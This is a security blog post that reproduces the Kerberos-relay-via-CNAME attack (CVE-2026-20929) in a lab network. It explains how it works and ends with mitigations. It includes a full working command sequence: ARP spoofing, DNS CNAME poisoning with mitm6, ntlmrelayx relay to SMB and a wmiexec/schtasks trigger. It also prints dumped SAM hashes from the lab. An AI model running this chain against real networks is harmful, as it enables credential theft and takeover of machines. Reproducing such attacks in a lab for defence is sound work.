Back to Blog

Kerberos Relay via CNAME Abuse: Reproducing CVE-2026-20929 in a GOAD Lab

Kerberos CNAME Relay Attack Diagram

The industry has spent years working toward deprecating NTLM. Microsoft has been signaling its end since 2023, when they announced plans to disable NTLM across Windows 11, and in 2024 they formally deprecated all versions of NTLM, including NTLMv2. The reasons are well-understood: NTLM relies on a challenge-response mechanism that makes it inherently susceptible to relay attacks, lacks mutual authentication, and uses weak cryptographic primitives that have been progressively broken over the past two decades.

In a typical Windows Active Directory deployment, both protocols coexist: Kerberos is the default for domain-joined machines authenticating to domain resources, while NTLM serves as the fallback when Kerberos negotiation fails, such as when clients connect by IP address instead of hostname, when accessing resources outside the domain, or when legacy applications explicitly require it. The assumption was straightforward: eliminate NTLM, eliminate relay attacks. CVE-2026-20929 demonstrates that assumption was wrong.

Introduction

In January 2026, researchers at Cymulate published findings on a novel attack technique that enables Kerberos authentication relay through DNS CNAME record abuse. The attack, tracked as CVE-2026-20929, allows an attacker with network-level access, meaning the ability to intercept and manipulate traffic on the local network segment (for example, through ARP spoofing, a rogue DHCPv6 server, or a compromised switch), to relay Kerberos service tickets between hosts without ever touching NTLM.

This is possible because the attack exploits a fundamental behavior in how the Key Distribution Center (KDC) issues service tickets: when resolving a hostname, the KDC follows DNS CNAME records and issues a ticket encrypted for the CNAME target rather than the originally requested host.

An attacker who controls the DNS response can redirect the KDC into issuing a ticket valid for a machine of their choosing, then relay that ticket without needing to decrypt or modify it.

We decided to validate this in our lab. Using the GOAD (Game of Active Directory) vulnerable network as a testing grounds, we built a multi-domain Active Directory environment and reproduced the full attack chain. The result: SAM hashes dumped on a relay target in a completely separate domain, via pure Kerberos relay. No NTLM involved at any stage.

In a traditional NTLM relay, the attacker intercepts the challenge-response exchange and forwards it to a target service, exploiting the fact that NTLM authentication is not bound to the specific service being accessed:

The key weakness: NTLM's challenge-response is not tied to any specific service. The same response that authenticates to a file share also authenticates to an Exchange server or a domain controller.

To be clear, this is about authentication, not authorization: the relayed response proves the victim's identity to the target service, and the target accepts it.

What the attacker can actually do after authenticating depends on the victim account's permissions on that target. But the authentication itself succeeds regardless, and in practice, many relay attacks target services where the victim account is a local administrator (such as other workstations) or where default permissions are permissive enough to be useful. The attacker just forwards bytes.

Kerberos was designed to prevent exactly this kind of attack. Each service ticket is encrypted with the target service's secret key and bound to its Service Principal Name (SPN). A ticket issued for Service A is cryptographically useless against Service B:

This is the property that made Kerberos "relay-proof" in the conventional understanding. The ticket is a sealed envelope that only the intended recipient can open.

You might wonder: what stops an attacker from stealing the ticket and presenting it to the correct service, impersonating the original sender? In theory, Kerberos protects against this through the authenticator, a timestamp encrypted with the client's session key that accompanies the ticket. The target service decrypts the ticket, extracts the session key, and uses it to validate the authenticator, proving the presenter is the same entity that obtained the ticket.

However, in practice, many Windows services do not enforce this mutual verification strictly, and the CNAME relay attack sidesteps the issue entirely: the client itself sends the ticket directly to the attacker (believing the attacker is the legitimate service), so the authenticator is fresh, valid, and accompanies the ticket naturally.

The CNAME relay does not break Kerberos cryptography. Instead, it manipulates what happens before the ticket is issued. By poisoning DNS with a CNAME record, the attacker causes the KDC to issue a ticket that is genuinely valid for the relay target:

The trick is subtle: the attacker never needs to break, decrypt, or forge anything. The KDC itself issues a legitimate ticket for the wrong target because it trusted a poisoned DNS response. The Kerberos cryptographic chain remains fully intact - it is just aimed at the wrong destination.

Understanding the Attack Mechanism

To understand why this works, you need to understand how Kerberos interacts with DNS CNAME records. When a client requests a service ticket (TGS) for a service identified by hostname, the KDC resolves that hostname in DNS. If the hostname has a CNAME record, the KDC follows it. This is by design; CNAME following is standard DNS behavior and the KDC respects it.

The critical insight is what happens to the resulting ticket. When the KDC follows a CNAME, it issues a service ticket encrypted with the key of the machine account that the CNAME resolves to, not the original hostname the client requested. The ticket is cryptographically valid for the CNAME target's Service Principal Name (SPN). This is the foundation of the attack.

The attack chain works as follows:

  1. DNS Poisoning: The attacker poisons the victim's DNS resolution so that a target hostname resolves with a CNAME record pointing to the relay target's FQDN, and an A record pointing to the attacker's IP address.
  2. Authentication Trigger: When the victim connects to the attacker's IP (believing it to be the legitimate service), the attacker responds with a 401 requiring Kerberos authentication.
  3. Ticket Issuance: The victim requests a TGS from the KDC. The KDC follows the CNAME and issues a ticket encrypted with the relay target's machine account key. The victim sends the AP-REQ containing this ticket to the attacker.
  4. Relay: The attacker forwards the AP-REQ to the real relay target. The target accepts it because the ticket is genuinely valid for its SPN. The attacker never decrypts or modifies the ticket.

The following diagram illustrates the complete attack flow as reproduced in our GOAD environment:

The attacker is functioning purely as a relay. The entire Kerberos cryptographic chain remains intact from the perspective of both the client and the target service. There is no downgrade, no hash capture, and no brute forcing. The ticket is legitimate.

Regarding the assigned CVSS rating

Microsoft rates this vulnerability as AC:H (high attack complexity) in their official advisory. Their description states that the attack "requires a Service Principal Name (SPN) that is registered to an account that no longer exists or is not in use." This describes a specific scenario: an attacker discovers an orphaned CNAME record in DNS that already points to a decommissioned service with a stale SPN. In that case, no DNS poisoning is needed. The attacker registers the old SPN to an account they control and catches relayed tickets passively.

That is not what we reproduced. Our test used the Cymulate proof-of-concept path, which is broader. We actively created the CNAME record through DNS poisoning (ARP spoofing combined with mitm6). The relay target was a live machine with an active machine account SPN. The KDC still followed the poisoned CNAME and issued a valid ticket for it.

Both scenarios exploit the same underlying vulnerability: the KDC's CNAME-following behavior during ticket issuance. The difference is in how the CNAME gets into DNS. Microsoft's advisory describes the passive case (find an existing stale record). The Cymulate research demonstrates the active case (manufacture the record via network-level attack). The practical attack complexity depends on which path is available. And the Cymulate path arguably lowers the practical complexity in environments where the attacker already has a foothold on the LAN.

Lab Environment

We used the GOAD framework deployed on Proxmox via Ludus. GOAD provides a realistic multi-domain Active Directory environment with five machines across three domains, including cross-domain trusts.

RoleHostIPDomain
VictimSRV02 (castelblack)10.4.10.22north.sevenkingdoms.local
Relay TargetSRV03 (braavos)10.4.10.23essos.local
AttackerKali10.4.10.99-
DNS Server (spoof target)DC0210.4.10.11north.sevenkingdoms.local

The cross-domain aspect is important. Our relay went from a host in north.sevenkingdoms.local to a target in essos.local. This demonstrates that the KDC's CNAME-following behavior crosses domain and forest trust boundaries, which significantly expands the attack surface in organizations with complex trust relationships.

SMB signing was not required on the member servers (SRV02 and SRV03). This is still the default configuration for Windows member servers in most production environments, which means this attack surface is widespread.

Practical Challenges in Reproduction

The proof-of-concept code from the Cymulate research is publicly available. However, reproducing the attack in a lab environment presented several practical challenges that are worth documenting for anyone attempting to validate this vulnerability in their own infrastructure.

  • The mitm6 tool, which handles the DNS poisoning component, requires Layer 2 network adjacency.
    • It operates by responding to DHCPv6 solicitations or by spoofing ARP entries, both of which are broadcast-domain attacks. If your lab access is through a WireGuard VPN or any other Layer 3 tunnel, the attack will not work. We had to deploy a Kali VM directly onto the same VLAN as the GOAD range rather than routing through our existing WireGuard connection to the Ludus host.
  • The original PoC relies on mitm6's DHCPv6 mode, where the tool responds to IPv6 router solicitations to inject itself as the DNS server.
    • This works well in environments with workstations that actively send DHCPv6 solicitations. GOAD, however, is composed entirely of Windows Server machines, which do not generate this traffic by default. The solution is to run mitm6 in --only-dns mode and combine it with ARP spoofing to redirect the victim's DNS queries to the attacker. This is a different attack path than the PoC documents, but achieves the same DNS poisoning result.

ARP Spoofing Target Selection

A common mistake is to ARP spoof the default gateway. For this attack, you need to spoof the victim's actual DNS server. In an Active Directory environment, member servers typically use domain controllers for DNS resolution, not the network gateway. In our case, SRV02 used DC02 (10.4.10.11) for DNS. Spoofing the gateway had no effect on DNS traffic.

nftables vs. iptables on Modern Kali

Current Kali Linux distributions have migrated from iptables to nftables. Many offensive security tools and tutorials still reference iptables commands for NAT rules. The equivalent nftables command for redirecting DNS traffic to our listener:

nft add table ip nat
nft add chain ip nat prerouting { type nat hook prerouting priority -100 \; }
nft add rule ip nat prerouting iif eth0 udp dport 53 redirect to :53

Python 3.13 Daemon Thread Behavior

Both ntlmrelayx and krbrelayx use daemon threads for their network listeners. In Python 3.13, daemon threads are terminated immediately when the main thread exits. This causes the tools to print "Servers started, waiting for connections" and then exit immediately, as the main thread completes its setup and has no blocking call to keep it alive. The workaround is to run these tools inside a tmux session, which provides a persistent TTY that keeps the process running.

Tool Selection: ntlmrelayx over krbrelayx

We initially attempted to use krbrelayx for the relay component, as it is purpose-built for Kerberos relay scenarios. However, krbrelayx starts its own DNS server on port 53, which conflicts with the mitm6-cname DNS poisoning tool that also needs port 53. Impacket's ntlmrelayx, despite its name, handles Kerberos AP-REQ relay and does not start a DNS listener. We used ntlmrelayx for the relay and mitm6-cname for the DNS component without port conflicts.

Trigger Reliability

Using wmiexec to trigger an SMB connection from the victim was unreliable because the ARP spoof can disrupt the wmiexec session itself. A more reliable approach is to use wmiexec only to schedule a task on the victim via schtasks, and then let the scheduled task execute the SMB access independently. This way, even if the wmiexec connection drops, the trigger still fires. Flushing the DNS cache before triggering is also important to ensure the poisoned response is used.

Complete Attack Sequence

The following is the complete, proven command sequence that produced a successful Kerberos relay in our GOAD environment. All commands are run from the Kali attacker VM.

Prerequisites

# Install required tools
sudo pip install impacket --break-system-packages
sudo apt-get install -y dsniff
git clone https://github.com/BenZamir/MITM6-Kerberos-CNAME-Abuse /tmp/cname-poc
sudo pip install -r /tmp/cname-poc/requirements.txt --break-system-packages

Network Preparation

# Clean up any previous sessions
sudo killall -9 python arpspoof 2>/dev/null
sudo tmux kill-server 2>/dev/null
sleep 2
 
# Enable IP forwarding and configure NAT
sudo sysctl -w net.ipv4.ip_forward=1
sudo nft flush ruleset 2>/dev/null
sudo nft "add table ip nat"
sudo nft "add chain ip nat prerouting { type nat hook prerouting priority -100 ; }"
sudo nft "add rule ip nat prerouting iif eth0 udp dport 53 redirect to :53"
 
# Passthrough file: ensures legitimate DNS for the relay target still works
echo "braavos.essos.local:10.4.10.23" | sudo tee /tmp/passthrough.txt

Start the Relay Listener

# ntlmrelayx in tmux (handles Kerberos AP-REQ relay despite the name)
sudo tmux new-session -d -s relay \
  "python -u /usr/local/bin/ntlmrelayx.py -t smb://10.4.10.23 \
   -smb2support --no-wcf-server --no-raw-server 2>&1 | tee /tmp/relay-output.log"
 
sleep 3
sudo ss -tlnp sport = :445  # Verify port 445 is bound

Start DNS CNAME Poisoning

sudo tmux new-session -d -s cname \
  "python -u /tmp/cname-poc/mitm6-cname.py -i eth0 \
   -d essos.local -d sevenkingdoms.local -d north.sevenkingdoms.local \
   --only-dns --cname-source-all --cname braavos.essos.local \
   --passthrough /tmp/passthrough.txt -v 2>&1 | tee /tmp/cname-output.log"

ARP Spoof and Trigger

# Impersonate DC02 (DNS server) to SRV02 (victim)
sudo tmux new-session -d -s arpspoof \
  "arpspoof -i eth0 -t 10.4.10.22 10.4.10.11"
sleep 10  # Wait for ARP cache to update
 
# Trigger: flush DNS and schedule an SMB access on the victim
sudo wmiexec.py ./localuser:[email protected] \
  "ipconfig /flushdns && schtasks /create /tn test123 \
   /tr \"cmd /c dir \\\\webserver.north.sevenkingdoms.local\\c$\" \
   /sc once /st 00:00 /f && schtasks /run /tn test123"
 
# Wait and check results
sleep 10
sudo tail -5 /tmp/cname-output.log
sudo tail -15 /tmp/relay-output.log

Results

The CNAME poisoning log confirmed that the DNS response was successfully spoofed:

Sent CNAME spoofed reply for webserver.north.sevenkingdoms.local.
  -> braavos.essos.local. (with A record) to 10.4.10.22

The relay log showed successful authentication and SAM hash extraction from the relay target:

[*] Servers started, waiting for connections
[*] (SMB): Received connection from 10.4.10.22, attacking target smb://10.4.10.23
[*] smb://CASTELBLACK/[email protected] [1] -> Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:aa9b89ade63cfd5b367806715c447cfd:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
localuser:1000:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
[*] smb://CASTELBLACK/[email protected] [1] -> Done dumping SAM hashes for host: 10.4.10.23

Full compromise of the relay target (SRV03/braavos in essos.local) was achieved through authentication relayed from the victim (SRV02/castelblack in north.sevenkingdoms.local). The relay crossed domain boundaries. No NTLM was used at any point in the attack chain.

Implications and Mitigations

Microsoft released a patch addressing the HTTP-based Kerberos relay vector in their January 2026 security update. However, the underlying DNS coercion primitive remains unchanged. An attacker who can inject DNS responses, whether through ARP spoofing, a rogue DHCPv6 server, a compromised recursive resolver, or legitimate DNS write access, can still trigger this attack chain against non-HTTP protocols such as SMB.

Channel binding, which is often cited as a relay mitigation, does not fully address this vulnerability. The service ticket itself is cryptographically valid for the target service. The channel binding is negotiated on the connection between the victim and the attacker, not between the attacker and the target.

Recommended Mitigations:

  • Enforce SMB signing on all hosts. This is the most effective mitigation. SMB signing prevents the relayed authentication from being accepted, regardless of whether the ticket is valid. This should be enforced on all machines, not just domain controllers.
  • Audit DNS CNAME records. Identify and remove CNAME records that point to decommissioned services or machines. Stale CNAMEs are the passive exploitation path described in Microsoft's advisory.
  • Restrict CNAME record creation. Limit which accounts and processes can create or modify CNAME records in DNS. Unauthorized CNAME creation is the active exploitation path.
  • Monitor for unexpected SPN resolutions. Kerberos ticket requests for SPNs that result from CNAME following may appear unusual in authentication logs. Monitoring for this pattern can provide detection capability.
  • Deploy ARP spoofing detection. Tools like ARPwatch or dynamic ARP inspection (DAI) on managed switches can detect and prevent the ARP spoofing required for the active exploitation path.

The broader takeaway is that NTLM deprecation, while valuable for many reasons, should not be treated as a complete solution for relay attacks. Kerberos authentication can be relayed under the right conditions. Defense in depth, particularly SMB signing enforcement and DNS hygiene, remains essential.

References